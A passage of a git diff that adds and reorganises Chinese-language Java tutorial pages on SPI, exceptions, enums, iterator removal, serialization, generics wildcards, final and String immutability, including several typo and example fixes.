diff --git a/docs/basics/java-basic/create-spi.md b/docs/basics/java-basic/create-spi.md
new file mode 100644
index 00000000..7fd226ae
--- /dev/null
+++ b/docs/basics/java-basic/create-spi.md
@@ -0,0 +1,38 @@
+步骤1、定义一组接口 (假设是org.foo.demo.IShout),并写出接口的一个或多个实现,(假设是org.foo.demo.animal.Dog、org.foo.demo.animal.Cat)。
+
+ public interface IShout {
+ void shout();
+ }
+ public class Cat implements IShout {
+ @Override
+ public void shout() {
+ System.out.println("miao miao");
+ }
+ }
+ public class Dog implements IShout {
+ @Override
+ public void shout() {
+ System.out.println("wang wang");
+ }
+ }
+
+步骤2、在 src/main/resources/ 下建立 /META-INF/services 目录, 新增一个以接口命名的文件 (org.foo.demo.IShout文件),内容是要应用的实现类(这里是org.foo.demo.animal.Dog和org.foo.demo.animal.Cat,每行一个类)。
+
+ org.foo.demo.animal.Dog
+ org.foo.demo.animal.Cat
+
+步骤3、使用 ServiceLoader 来加载配置文件中指定的实现。
+
+ public class SPIMain {
+ public static void main(String[] args) {
+ ServiceLoader shouts = ServiceLoader.load(IShout.class);
+ for (IShout s : shouts) {
+ s.shout();
+ }
+ }
+ }
+
+代码输出:
+
+ wang wang
+ miao miao
\ No newline at end of file
diff --git a/docs/basics/java-basic/custom-annotation.md b/docs/basics/java-basic/custom-annotation.md
new file mode 100644
index 00000000..650ecc39
--- /dev/null
+++ b/docs/basics/java-basic/custom-annotation.md
@@ -0,0 +1,3 @@
+除了元注解,都是自定义注解。通过元注解定义出来的注解。
+如我们常用的Override 、Autowire等。
+日常开发中也可以自定义一个注解,这些都是自定义注解。
\ No newline at end of file
diff --git a/docs/basics/java-basic/define-exception.md b/docs/basics/java-basic/define-exception.md
new file mode 100644
index 00000000..489811f6
--- /dev/null
+++ b/docs/basics/java-basic/define-exception.md
@@ -0,0 +1,6 @@
+⾃定义异常就是开发⼈员⾃⼰定义的异常, ⼀般通过继承`Exception`的⼦类的⽅式实现。
+
+
+编写⾃定义异常类实际上是继承⼀个API标准异常类, ⽤新定义的异常处理信息覆盖原有信息的过程。
+
+这种⽤法在Web开发中也⽐较常见, ⼀般可以⽤来⾃定义业务异常。 如余额不⾜、 重复提交等。 这种⾃定义异常有业务含义, 更容易让上层理解和处理
\ No newline at end of file
diff --git a/docs/basics/java-basic/delete-while-iterator.md b/docs/basics/java-basic/delete-while-iterator.md
new file mode 100644
index 00000000..0a489178
--- /dev/null
+++ b/docs/basics/java-basic/delete-while-iterator.md
@@ -0,0 +1,101 @@
+**1、直接使用普通for循环进行操作**
+
+我们说不能在foreach中进行,但是使用普通的for循环还是可以的,因为普通for循环并没有用到Iterator的遍历,所以压根就没有进行fail-fast的检验。
+
+ List userNames = new ArrayList() {{
+ add("Hollis");
+ add("hollis");
+ add("HollisChuang");
+ add("H");
+ }};
+
+ for (int i = 0; i < 1; i++) {
+ if (userNames.get(i).equals("Hollis")) {
+ userNames.remove(i);
+ }
+ }
+ System.out.println(userNames);
+
+
+这种方案其实存在一个问题,那就是remove操作会改变List中元素的下标,可能存在漏删的情况。 **2、直接使用Iterator进行操作**
+
+除了直接使用普通for循环以外,我们还可以直接使用Iterator提供的remove方法。
+
+ List userNames = new ArrayList() {{
+ add("Hollis");
+ add("hollis");
+ add("HollisChuang");
+ add("H");
+ }};
+
+ Iterator iterator = userNames.iterator();
+
+ while (iterator.hasNext()) {
+ if (iterator.next().equals("Hollis")) {
+ iterator.remove();
+ }
+ }
+ System.out.println(userNames);
+
+
+如果直接使用Iterator提供的remove方法,那么就可以修改到expectedModCount的值。那么就不会再抛出异常了。
+
+
+**3、使用Java 8中提供的filter过滤**
+
+Java 8中可以把集合转换成流,对于流有一种filter操作, 可以对原始 Stream 进行某项测试,通过测试的元素被留下来生成一个新 Stream。
+
+ List userNames = new ArrayList() {{
+ add("Hollis");
+ add("hollis");
+ add("HollisChuang");
+ add("H");
+ }};
+
+ userNames = userNames.stream().filter(userName -> !userName.equals("Hollis")).collect(Collectors.toList());
+ System.out.println(userNames);
+
+
+**4、使用增强for循环其实也可以**
+
+如果,我们非常确定在一个集合中,某个即将删除的元素只包含一个的话, 比如对Set进行操作,那么其实也是可以使用增强for循环的,只要在删除之后,立刻结束循环体,不要再继续进行遍历就可以了,也就是说不让代码执行到下一次的next方法。
+
+ List userNames = new ArrayList() {{
+ add("Hollis");
+ add("hollis");
+ add("HollisChuang");
+ add("H");
+ }};
+
+ for (String userName : userNames) {
+ if (userName.equals("Hollis")) {
+ userNames.remove(userName);
+ break;
+ }
+ }
+ System.out.println(userNames);
+
+
+**5、直接使用fail-safe的集合类**
+
+在Java中,除了一些普通的集合类以外,还有一些采用了fail-safe机制的集合类。这样的集合容器在遍历时不是直接在集合内容上访问的,而是先复制原有集合内容,在拷贝的集合上进行遍历。
+
+由于迭代时是对原集合的拷贝进行遍历,所以在遍历过程中对原集合所作的修改并不能被迭代器检测到,所以不会触发ConcurrentModificationException。
+
+ ConcurrentLinkedDeque userNames = new ConcurrentLinkedDeque() {{
+ add("Hollis");
+ add("hollis");
+ add("HollisChuang");
+ add("H");
+ }};
+
+ for (String userName : userNames) {
+ if (userName.equals("Hollis")) {
+ userNames.remove();
+ }
+ }
+
+
+基于拷贝内容的优点是避免了ConcurrentModificationException,但同样地,迭代器并不能访问到修改后的内容,即:迭代器遍历的是开始遍历那一刻拿到的集合拷贝,在遍历期间原集合发生的修改迭代器是不知道的。
+
+java.util.concurrent包下的容器都是安全失败,可以在多线程下并发使用,并发修改。
\ No newline at end of file
diff --git a/docs/basics/java-basic/diff-serializable-vs-externalizable.md b/docs/basics/java-basic/diff-serializable-vs-externalizable.md
new file mode 100644
index 00000000..7e94fc59
--- /dev/null
+++ b/docs/basics/java-basic/diff-serializable-vs-externalizable.md
@@ -0,0 +1,17 @@
+Java中的类通过实现 `java.io.Serializable` 接口以启⽤其序列化功能。 未实现此接口的类将⽆法使其任何状态序列化或反序列化。
+
+可序列化类的所有⼦类型本⾝都是可序列化的。
+
+序列化接口没有⽅法或字段, 仅⽤于标识可序列化的语义。
+
+当试图对⼀个对象进⾏序列化的时候, 如果遇到不⽀持`Serializable` 接口的对象。 在此情况下, 将抛`NotSerializableException`。
+
+如果要序列化的类有⽗类, 要想同时将在⽗类中定义过的变量持久化下来, 那么⽗类也应该集成`java.io.Serializable`接口。
+
+`Externalizable`继承了`Serializable`, 该接口中定义了两个抽象⽅法:`writeExternal()`与`readExternal()`。 当使⽤`Externalizable`接口来进⾏序列化与反序列化的时候需要开发⼈员重写writeExternal()与readExternal()⽅法。
+
+如果没有在这两个⽅法中定义序列化实现细节, 那么序列化之后, 对象内容为空。
+
+实现`Externalizable`接口的类必须要提供⼀个`public`的⽆参的构造器。
+
+所以, 实现`Externalizable`, 并实现`writeExternal()`和`readExternal()`⽅法可以指定序列化哪些属性。
diff --git a/basics/java-basic/dynamic-proxy-implementation.md b/docs/basics/java-basic/dynamic-proxy-implementation.md
similarity index 98%
rename from basics/java-basic/dynamic-proxy-implementation.md
rename to docs/basics/java-basic/dynamic-proxy-implementation.md
index 1ca4889a..6f5c7e1c 100644
--- a/basics/java-basic/dynamic-proxy-implementation.md
+++ b/docs/basics/java-basic/dynamic-proxy-implementation.md
@@ -6,7 +6,8 @@ Java中,实现动态代理有两种方式:
关于这两种动态代理的写法本文就不深入展开了,读者感兴趣的话,后面我再写文章单独介绍。本文主要来简单说一下这两种动态代理的区别和用途。
-JDK动态代理和Cglib动态代理的区别
+JDK动态代理和Cglib动态代理的区别
+
JDK的动态代理有一个限制,就是使用动态代理的对象必须实现一个或多个接口。如果想代理没有实现接口的类,就可以使用CGLIB实现。
Cglib是一个强大的高性能的代码生成包,它可以在运行期扩展Java类与实现Java接口。它广泛的被许多AOP的框架使用,例如Spring AOP和dynaop,为他们提供方法的interception(拦截)。
@@ -120,4 +121,4 @@ public class DoCGLib {
proxyImp.add();
}
}
-```
\ No newline at end of file
+```
diff --git a/basics/java-basic/dynamic-proxy-vs-reflection.md b/docs/basics/java-basic/dynamic-proxy-vs-reflection.md
similarity index 100%
rename from basics/java-basic/dynamic-proxy-vs-reflection.md
rename to docs/basics/java-basic/dynamic-proxy-vs-reflection.md
diff --git a/basics/java-basic/dynamic-proxy.md b/docs/basics/java-basic/dynamic-proxy.md
similarity index 100%
rename from basics/java-basic/dynamic-proxy.md
rename to docs/basics/java-basic/dynamic-proxy.md
diff --git a/docs/basics/java-basic/enum-class.md b/docs/basics/java-basic/enum-class.md
new file mode 100644
index 00000000..159fe15a
--- /dev/null
+++ b/docs/basics/java-basic/enum-class.md
@@ -0,0 +1,14 @@
+Java中定义枚举是使用enum关键字的,但是Java中其实还有一个java.lang.Enum类。这是一个抽象类,定义如下:
+
+
+ package java.lang;
+
+ public abstract class Enum> implements Constable, Comparable, Serializable {
+ private final String name;
+ private final int ordinal;
+
+ }
+
+这个类我们在日常开发中不会用到,但是其实我们使用enum定义的枚举,其实现方式就是通过继承Enum类实现的。
+
+当我们使用enum来定义一个枚举类型的时候,编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承。
\ No newline at end of file
diff --git a/basics/java-basic/enum-compare.md b/docs/basics/java-basic/enum-compare.md
similarity index 100%
rename from basics/java-basic/enum-compare.md
rename to docs/basics/java-basic/enum-compare.md
diff --git a/basics/java-basic/enum-impl.md b/docs/basics/java-basic/enum-impl.md
similarity index 87%
rename from basics/java-basic/enum-impl.md
rename to docs/basics/java-basic/enum-impl.md
index 51a18c1f..190cdd67 100644
--- a/basics/java-basic/enum-impl.md
+++ b/docs/basics/java-basic/enum-impl.md
@@ -40,6 +40,6 @@ Java SE5提供了一种新的类型-Java的枚举类型,关键字enum可以将
}
}
-通过反编译后代码我们可以看到,public final class T extends Enum,说明,该类是继承了Enum类的,同时final关键字告诉我们,这个类也是不能被继承的。
+通过反编译代码我们可以看到,public final class T extends Enum,说明,该类是继承了Enum类的,同时final关键字告诉我们,这个类也是不能被继承的。
-当我们使用enmu来定义一个枚举类型的时候,编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承。
\ No newline at end of file
+当我们使用enmu来定义一个枚举类型的时候,编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承。
diff --git a/basics/java-basic/enum-serializable.md b/docs/basics/java-basic/enum-serializable.md
similarity index 97%
rename from basics/java-basic/enum-serializable.md
rename to docs/basics/java-basic/enum-serializable.md
index 7775c584..ff85c4d6 100644
--- a/basics/java-basic/enum-serializable.md
+++ b/docs/basics/java-basic/enum-serializable.md
@@ -51,7 +51,7 @@
}
-通过反编译后代码我们可以看到,`public final class T extends Enum`,说明,该类是继承了Enum类的,同时final关键字告诉我们,这个类也是不能被继承的。当我们使用`enmu`来定义一个枚举类型的时候,编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承,我们看到这个类中有几个属性和方法。
+通过反编译后代码我们可以看到,`public final class T extends Enum`,说明,该类是继承了Enum类的,同时final关键字告诉我们,这个类也是不能被继承的。当我们使用`enum`来定义一个枚举类型的时候,编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承,我们看到这个类中有几个属性和方法。
我们可以看到:
@@ -91,7 +91,7 @@
**2\. 枚举自己处理序列化**
-> 我们知道,以前的所有的单例模式都有一个比较大的问题,就是一旦实现了Serializable接口之后,就不再是单例得了,因为,每次调用 readObject()方法返回的都是一个新创建出来的对象,有一种解决办法就是使用readResolve()方法来避免此事发生。但是,**为了保证枚举类型像Java规范中所说的那样,每一个枚举类型极其定义的枚举变量在JVM中都是唯一的,在枚举类型的序列化和反序列化上,Java做了特殊的规定。**原文如下:
+> 我们知道,以前的所有的单例模式都有一个比较大的问题,就是一旦实现了Serializable接口之后,就不再是单例的了,因为,每次调用 readObject()方法返回的都是一个新创建出来的对象,有一种解决办法就是使用readResolve()方法来避免此事发生。但是,**为了保证枚举类型像Java规范中所说的那样,每一个枚举类型及其定义的枚举变量在JVM中都是唯一的,在枚举类型的序列化和反序列化上,Java做了特殊的规定。**原文如下:
>
> > Enum constants are serialized differently than ordinary serializable or externalizable objects. The serialized form of an enum constant consists solely of its name; field values of the constant are not present in the form. To serialize an enum constant, ObjectOutputStream writes the value returned by the enum constant's name method. To deserialize an enum constant, ObjectInputStream reads the constant name from the stream; the deserialized constant is then obtained by calling the java.lang.Enum.valueOf method, passing the constant's enum type along with the received constant name as arguments. Like other serializable or externalizable objects, enum constants can function as the targets of back references appearing subsequently in the serialization stream. The process by which enum constants are serialized cannot be customized: any class-specific writeObject, readObject, readObjectNoData, writeReplace, and readResolve methods defined by enum types are ignored during serialization and deserialization. Similarly, any serialPersistentFields or serialVersionUID field declarations are also ignored--all enum types have a fixedserialVersionUID of 0L. Documenting serializable fields and data for enum types is unnecessary, since there is no variation in the type of data sent.
>
@@ -114,4 +114,4 @@
**3\.枚举实例创建是thread-safe(线程安全的)**
-> 我们在深度分析Java的ClassLoader机制(源码级别) 和Java类的加载、链接和初始化 两个文章中分别介绍过,当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的。所以,**创建一个enum类型是线程安全的**。
\ No newline at end of file
+> 我们在深度分析Java的ClassLoader机制(源码级别) 和Java类的加载、链接和初始化 两个文章中分别介绍过,当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的。所以,**创建一个enum类型是线程安全的**。
diff --git a/basics/java-basic/enum-singleton.md b/docs/basics/java-basic/enum-singleton.md
similarity index 93%
rename from basics/java-basic/enum-singleton.md
rename to docs/basics/java-basic/enum-singleton.md
index 146fc3f0..05164b23 100644
--- a/basics/java-basic/enum-singleton.md
+++ b/docs/basics/java-basic/enum-singleton.md
@@ -2,12 +2,12 @@
单例相关文章一览:
-[设计模式(二)——单例模式][1]
-[设计模式(三)——JDK中的那些单例][2]
-[单例模式的七种写法][3]
-[单例与序列化的那些事儿][4]
-[不使用synchronized和lock,如何实现一个线程安全的单例?][5]
-[不使用synchronized和lock,如何实现一个线程安全的单例?(二)][6]
+[设计模式(二)——单例模式][1]
+[设计模式(三)——JDK中的那些单例][2]
+[单例模式的七种写法][3]
+[单例与序列化的那些事儿][4]
+[不使用synchronized和lock,如何实现一个线程安全的单例?][5]
+[不使用synchronized和lock,如何实现一个线程安全的单例?(二)][6]
如果你对单例不是很了解,或者对于单例的线程安全问题以及序列化会破坏单例等问题不是很清楚,可以先阅读以上文章。上面六篇文章看完之后,相信你一定会对单例模式有更多,更深入的理解。
@@ -15,7 +15,7 @@
### 哪种写单例的方式最好
-在StakcOverflow中,有一个关于[What is an efficient way to implement a singleton pattern in Java?][7]的讨论:
+在StackOverflow中,有一个关于[What is an efficient way to implement a singleton pattern in Java?][7]的讨论:
@@ -39,14 +39,14 @@
private volatile static Singleton singleton;
private Singleton (){}
public static Singleton getSingleton() {
- if (singleton == null) {
- synchronized (Singleton.class) {
if (singleton == null) {
- singleton = new Singleton();
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
}
- }
- }
- return singleton;
+ return singleton;
}
}
@@ -78,7 +78,7 @@
通过将定义好的枚举[反编译][9],我们就能发现,其实枚举在经过`javac`的编译之后,会被转换成形如`public final class T extends Enum`的定义。
-而且,枚举中的各个枚举项同事通过`static`来定义的。如:
+而且,枚举中的各个枚举项同时通过`static`来定义的。如:
public enum T {
SPRING,SUMMER,AUTUMN,WINTER;
@@ -145,4 +145,4 @@
[9]: http://www.hollischuang.com/archives/58
[10]: http://www.hollischuang.com/archives/199
[11]: http://www.hollischuang.com/archives/201
- [12]: https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6469
\ No newline at end of file
+ [12]: https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6469
diff --git a/docs/basics/java-basic/enum-switch.md b/docs/basics/java-basic/enum-switch.md
new file mode 100644
index 00000000..4d03b240
--- /dev/null
+++ b/docs/basics/java-basic/enum-switch.md
@@ -0,0 +1,13 @@
+Java 1.7 之前 switch 参数可用类型为 short、byte、int、char,枚举类型之所以能使用其实是编译器层面实现的
+
+编译器会将枚举 switch 转换为类似
+
+```
+switch(s.ordinal()) {
+ case Status.START.ordinal()
+}
+
+```
+
+
+形式,所以实质还是 int 参数类型,感兴趣的可以自己写个使用枚举的 switch 代码然后通过 javap -v 去看下字节码就明白了。
\ No newline at end of file
diff --git a/basics/java-basic/enum-thread-safe.md b/docs/basics/java-basic/enum-thread-safe.md
similarity index 100%
rename from basics/java-basic/enum-thread-safe.md
rename to docs/basics/java-basic/enum-thread-safe.md
diff --git a/basics/java-basic/enum-usage.md b/docs/basics/java-basic/enum-usage.md
similarity index 91%
rename from basics/java-basic/enum-usage.md
rename to docs/basics/java-basic/enum-usage.md
index 42957050..3e27f168 100644
--- a/basics/java-basic/enum-usage.md
+++ b/docs/basics/java-basic/enum-usage.md
@@ -42,16 +42,16 @@
}
-程序`getChineseSeason(Season.SPRING)`是我们预期的使用方法。可`getChineseSeason(5)`显然就不是了,而且编译很通过,在运行时会出现什么情况,我们就不得而知了。这显然就不符合`Java`程序的类型安全。
+程序`getChineseSeason(Season.SPRING)`是我们预期的使用方法。可`getChineseSeason(5)`显然就不是了,而且编译会通过,在运行时会出现什么情况,我们就不得而知了。这显然就不符合`Java`程序的类型安全。
-接下来我们来考虑一下这种模式的**可读性**。使用枚举的大多数场合,我都需要方便得到枚举类型的字符串表达式。如果将`int`枚举常量打印出来,我们所见到的就是一组数字,这是没什么太大的用处。我们可能会想到使用`String`常量代替`int`常量。虽然它为这些常量提供了可打印的字符串,但是它会导致性能问题,因为它依赖于字符串的比较操作,所以这种模式也是我们不期望的。 从**类型安全性**和**程序可读性**两方面考虑,`int`和`String`枚举模式的缺点就显露出来了。幸运的是,从`Java1.5`发行版本开始,就提出了另一种可以替代的解决方案,可以避免`int`和`String`枚举模式的缺点,并提供了许多额外的好处。那就是枚举类型(`enum type`)。接下来的章节将介绍枚举类型的定义、特征、应用场景和优缺点。
+接下来我们来考虑一下这种模式的**可读性**。使用枚举的大多数场合,我都需要方便得到枚举类型的字符串表达式。如果将`int`枚举常量打印出来,我们所见到的就是一组数字,这没什么太大的用处。我们可能会想到使用`String`常量代替`int`常量。虽然它为这些常量提供了可打印的字符串,但是它会导致性能问题,因为它依赖于字符串的比较操作,所以这种模式也是我们不期望的。 从**类型安全性**和**程序可读性**两方面考虑,`int`和`String`枚举模式的缺点就显露出来了。幸运的是,从`Java1.5`发行版本开始,就提出了另一种可以替代的解决方案,可以避免`int`和`String`枚举模式的缺点,并提供了许多额外的好处。那就是枚举类型(`enum type`)。接下来的章节将介绍枚举类型的定义、特征、应用场景和优缺点。
### 2 定义
枚举类型(`enum type`)是指由一组固定的常量组成合法的类型。`Java`中由关键字`enum`来定义一个枚举类型。下面就是`java`枚举类型的定义。
public enum Season {
- SPRING, SUMMER, AUTUMN, WINER;
+ SPRING, SUMMER, AUTUMN, WINTER;
}
@@ -259,4 +259,4 @@
enum Dessert implements Food{
FRUIT, CAKE, GELATO
}
- }
\ No newline at end of file
+ }
diff --git a/docs/basics/java-basic/error-vs-exception.md b/docs/basics/java-basic/error-vs-exception.md
new file mode 100644
index 00000000..0e13030b
--- /dev/null
+++ b/docs/basics/java-basic/error-vs-exception.md
@@ -0,0 +1,6 @@
+Exception和 Error, ⼆者都是 Java异常处理的重要⼦类, 各⾃都包含⼤量⼦类。均继承自Throwable类。
+
+
+Error表⽰系统级的错误, 是java运⾏环境内部错误或者硬件问题, 不能指望程序来处理这样的问题, 除了退出运⾏外别⽆选择, 它是Java虚拟机抛出的。
+
+Exception 表⽰程序需要捕捉、 需要处理的常, 是由与程序设计的不完善⽽出现的问题, 程序必须处理的问题。
\ No newline at end of file
diff --git a/docs/basics/java-basic/exception-chain.md b/docs/basics/java-basic/exception-chain.md
new file mode 100644
index 00000000..44e6e32a
--- /dev/null
+++ b/docs/basics/java-basic/exception-chain.md
@@ -0,0 +1,26 @@
+“异常链”是Java中⾮常流⾏的异常处理概念, 是指在进⾏⼀个异常处理时抛出了另外⼀个异常, 由此产⽣了⼀个异常链条。
+
+该技术⼤多⽤于将“ 受检查异常” ( checked exception) 封装成为“⾮受检查异常”( unchecked exception)或者RuntimeException。
+
+顺便说⼀下, 如果因为因为异常你决定抛出⼀个新的异常, 你⼀定要包含原有的异常, 这样, 处理程序才可以通过getCause()和initCause()⽅法来访问异常最终的根源。
+
+从 Java 1.4版本开始,几乎所有的异常都支持异常链。
+
+以下是Throwable中支持异常链的方法和构造函数。
+
+ Throwable getCause()
+ Throwable initCause(Throwable)
+ Throwable(String, Throwable)
+ Throwable(Throwable)
+
+initCause和Throwable构造函数的Throwable参数是导致当前异常的异常。 getCause返回导致当前异常的异常,initCause设置当前异常的原因。
+
+以下示例显示如何使用异常链。
+
+ try {
+
+ } catch (IOException e) {
+ throw new SampleException("Other IOException", e);
+ }
+
+在此示例中,当捕获到IOException时,将创建一个新的SampleException异常,并附加原始的异常原因,并将异常链抛出到下一个更高级别的异常处理程序。
\ No newline at end of file
diff --git a/docs/basics/java-basic/exception-type.md b/docs/basics/java-basic/exception-type.md
new file mode 100644
index 00000000..7e8de55c
--- /dev/null
+++ b/docs/basics/java-basic/exception-type.md
@@ -0,0 +1,20 @@
+Java中的异常, 主要可以分为两⼤类, 即受检异常( checked exception) 和 ⾮受检异常( unchecked exception)
+
+### 受检异常
+对于受检异常来说, 如果⼀个⽅法在声明的过程中证明了其要有受检异常抛出:
+
+ public void test() throw new Exception{ }
+
+那么,当我们在程序中调⽤他的时候, ⼀定要对该异常进⾏处理( 捕获或者向上抛出) , 否则是⽆法编译通过的。 这是⼀种强制规范。
+
+这种异常在IO操作中⽐较多。 ⽐如FileNotFoundException , 当我们使⽤IO流处理⼀个⽂件的时候, 有⼀种特殊情况, 就是⽂件不存在, 所以, 在⽂件处理的接⼜定义时他会显⽰抛出FileNotFoundException, ⽬的就是告诉这个⽅法的调⽤者,我这个⽅法不保证⼀定可以成功, 是有可能找不到对应的⽂件
+的, 你要明确的对这种情况做特殊处理哦。
+
+所以说, 当我们希望我们的⽅法调⽤者, 明确的处理⼀些特殊情况的时候, 就应该使⽤受检异常。
+
+### 非受检异常
+对于⾮受检异常来说, ⼀般是运⾏时异常, 继承⾃RuntimeException。 在编写代码的时候, 不需要显⽰的捕获,但是如果不捕获, 在运⾏期如果发⽣异常就会中断程序的执⾏。
+
+这种异常⼀般可以理解为是代码原因导致的。 ⽐如发⽣空指针、 数组越界等。 所以, 只要代码写的没问题, 这些异常都是可以避免的。 也就不需要我们显⽰的进⾏处理。
+
+试想⼀下, 如果你要对所有可能发⽣空指针的地⽅做异常处理的话, 那相当于你的所有代码都需要做这件事。
\ No newline at end of file
diff --git a/docs/basics/java-basic/extends-vs-super.md b/docs/basics/java-basic/extends-vs-super.md
new file mode 100644
index 00000000..e52fcbee
--- /dev/null
+++ b/docs/basics/java-basic/extends-vs-super.md
@@ -0,0 +1,48 @@
+` extends T>`和` super T>`是Java泛型中的“通配符(Wildcards)”和“边界(Bounds)”的概念。
+
+` extends T>`:是指 “上界通配符(Upper Bounds Wildcards)”,即泛型中的类必须为当前类的子类或当前类。
+
+` super T>`:是指 “下界通配符(Lower Bounds Wildcards)”,即泛型中的类必须为当前类或者其父类。
+
+
+先看一个列子:
+
+ public class Food {}
+ public class Fruit extends Food {}
+ public class Apple extends Fruit {}
+ public class Banana extends Fruit{}
+
+ public class GenericTest {
+
+ public void testExtends(List extends Fruit> list){
+
+ //报错,extends为上界通配符,只能取值,不能放.
+ //因为Fruit的子类不只有Apple还有Banana,这里不能确定具体的泛型到底是Apple还是Banana,所以放入任何一种类型都会报错
+ //list.add(new Apple());
+
+ //可以正常获取
+ Fruit fruit = list.get(1);
+ }
+
+ public void testSuper(List super Fruit> list){
+
+ //super为下界通配符,可以存放元素,但是也只能存放当前类或者子类的实例,以当前的例子来讲,
+ //无法确定Fruit的父类是否只有Food一个(Object是超级父类)
+ //因此放入Food的实例编译不通过
+ list.add(new Apple());
+ // list.add(new Food());
+
+ Object object = list.get(1);
+ }
+ }
+
+在testExtends方法中,因为泛型中用的是extends,在向list中存放元素的时候,我们并不能确定List中的元素的具体类型,即可能是Apple也可能是Banana。因此调用add方法时,不论传入new Apple()还是new Banana(),都会出现编译错误。
+
+
+理解了extends之后,再看super就很容易理解了,即我们不能确定testSuper方法的参数中的泛型是Fruit的哪个父类,因此在调用get方法时只能返回Object类型。结合extends可见,在获取泛型元素时,使用extends获取到的是泛型中的上边界的类型(本例子中为Fruit),范围更小。
+
+在使用泛型时,存取元素时用super,获取元素时,用extends。
+
+频繁往外读取内容的,适合用上界Extends。经常往里插入的,适合用下界Super。
+
+本文来源:https://juejin.im/post/5c653fe06fb9a049e3089d88
\ No newline at end of file
diff --git a/basics/java-basic/fail-fast-vs-fail-safe.md b/docs/basics/java-basic/fail-fast-vs-fail-safe.md
similarity index 96%
rename from basics/java-basic/fail-fast-vs-fail-safe.md
rename to docs/basics/java-basic/fail-fast-vs-fail-safe.md
index d425685e..c1917387 100644
--- a/basics/java-basic/fail-fast-vs-fail-safe.md
+++ b/docs/basics/java-basic/fail-fast-vs-fail-safe.md
@@ -11,14 +11,14 @@
举一个最简单的fail-fast的例子:
public int divide(int divisor,int dividend){
- if(dividend == 0){
- throw new RuntimeException("dividend can't be null");
+ if(divisor == 0){
+ throw new RuntimeException("divisor can't be null");
}
- return divisor/dividend;
+ return dividend/divisor;
}
-上面的代码是一个对两个整数做除法的方法,在divide方法中,我们对被除数做了个简单的检查,如果其值为0,那么就直接抛出一个异常,并明确提示异常原因。这其实就是fail-fast理念的实际应用。
+上面的代码是一个对两个整数做除法的方法,在divide方法中,我们对除数做了个简单的检查,如果其值为0,那么就直接抛出一个异常,并明确提示异常原因。这其实就是fail-fast理念的实际应用。
这样做的好处就是可以预先识别出一些错误情况,一方面可以避免执行复杂的其他代码,另外一方面,这种异常情况被识别之后也可以针对性的做一些单独处理。
@@ -111,9 +111,9 @@ CMException,当方法检测到对象的并发修改,但不允许这种修改
}
-如上,在该方法中对modCount和expectedModCount进行了比较,如果二者不想等,则抛出CMException。
+如上,在该方法中对modCount和expectedModCount进行了比较,如果二者不相等,则抛出CMException。
-那么,modCount和expectedModCount是什么?是什么原因导致他们的值不想等的呢?
+那么,modCount和expectedModCount是什么?是什么原因导致他们的值不相等的呢?
modCount是ArrayList中的一个成员变量。它表示该集合实际被修改的次数。
@@ -257,4 +257,4 @@ CopyOnWriteArrayList中add/remove等写方法是需要加锁的,目的是为
**所以CopyOnWrite容器是一种读写分离的思想,读和写不同的容器。**而Vector在读写的时候使用同一个容器,读写互斥,同时只能做一件事儿。
[1]: https://www.hollischuang.com/archives/58
- [2]: https://www.hollischuang.com/wp-content/uploads/2019/04/15551448234429.jpg
\ No newline at end of file
+ [2]: https://www.hollischuang.com/wp-content/uploads/2019/04/15551448234429.jpg
diff --git a/docs/basics/java-basic/final-in-java.md b/docs/basics/java-basic/final-in-java.md
new file mode 100644
index 00000000..ce278f1e
--- /dev/null
+++ b/docs/basics/java-basic/final-in-java.md
@@ -0,0 +1,40 @@
+final是Java中的一个关键字,它所表示的是“这部分是无法修改的”。
+
+使用 final 可以定义 :变量、方法、类。
+
+### final变量
+
+如果将变量设置为final,则不能更改final变量的值(它将是常量)。
+
+
+ class Test{
+ final String name = "Hollis";
+
+ }
+
+一旦final变量被定义之后,是无法进行修改的。
+
+### final方法
+
+如果任何方法声明为final,则不能覆盖它。
+
+ class Parent {
+ final void name() {
+ System.out.println("Hollis");
+ }
+ }
+
+当我们定义以上类的子类的时候,无法覆盖其name方法,会编译失败。
+
+
+### final类
+
+如果把任何一个类声明为final,则不能继承它。
+
+
+ final class Parent {
+
+ }
+
+
+以上类不能被继承!
\ No newline at end of file
diff --git a/docs/basics/java-basic/final-string.md b/docs/basics/java-basic/final-string.md
new file mode 100644
index 00000000..a2e2e05b
--- /dev/null
+++ b/docs/basics/java-basic/final-string.md
@@ -0,0 +1,109 @@
+String在Java中特别常用,而且我们经常要在代码中对字符串进行赋值和改变他的值,但是,为什么我们说字符串是不可变的呢?
+
+首先,我们需要知道什么是不可变对象?
+
+不可变对象是在完全创建后其内部状态保持不变的对象。这意味着,一旦对象被赋值给变量,我们既不能更新引用,也不能通过任何方式改变内部状态。
+
+可是有人会有疑惑,String为什么不可变,我的代码中经常改变String的值啊,如下:
+
+```
+String s = "abcd";
+s = s.concat("ef");
+
+```
+
+
+这样,操作,不就将原本的"abcd"的字符串改变成"abcdef"了么?
+
+但是,虽然字符串内容看上去从"abcd"变成了"abcdef",但是实际上,我们得到的已经是一个新的字符串了。
+
+![][1]
+
+如上图,在堆中重新创建了一个"abcdef"字符串,和"abcd"并不是同一个对象。
+
+所以,一旦一个string对象在内存(堆)中被创建出来,他就无法被修改。而且,String类的所有方法都没有改变字符串本身的值,都是返回了一个新的对象。
+
+如果我们想要一个可修改的字符串,可以选择StringBuffer 或者 StringBuilder这两个代替String。
+
+### 为什么String要设计成不可变
+
+在知道了"String是不可变"的之后,大家是不是一定都很疑惑:为什么要把String设计成不可变的呢?有什么好处呢?
+
+这个问题,困扰过很多人,甚至有人直接问过Java的创始人James Gosling。
+
+在一次采访中James Gosling被问到什么时候应该使用不可变变量,他给出的回答是:
+
+> I would use an immutable whenever I can.
+
+那么,他给出这个答案背后的原因是什么呢?是基于哪些思考的呢?
+
+其实,主要是从缓存、安全性、线程安全和性能等角度触发的。
+
+Q:缓存、安全性、线程安全和性能?这有都是啥
+A:你别急,听我一个一个给你讲就好了。
+
+#### 缓存
+
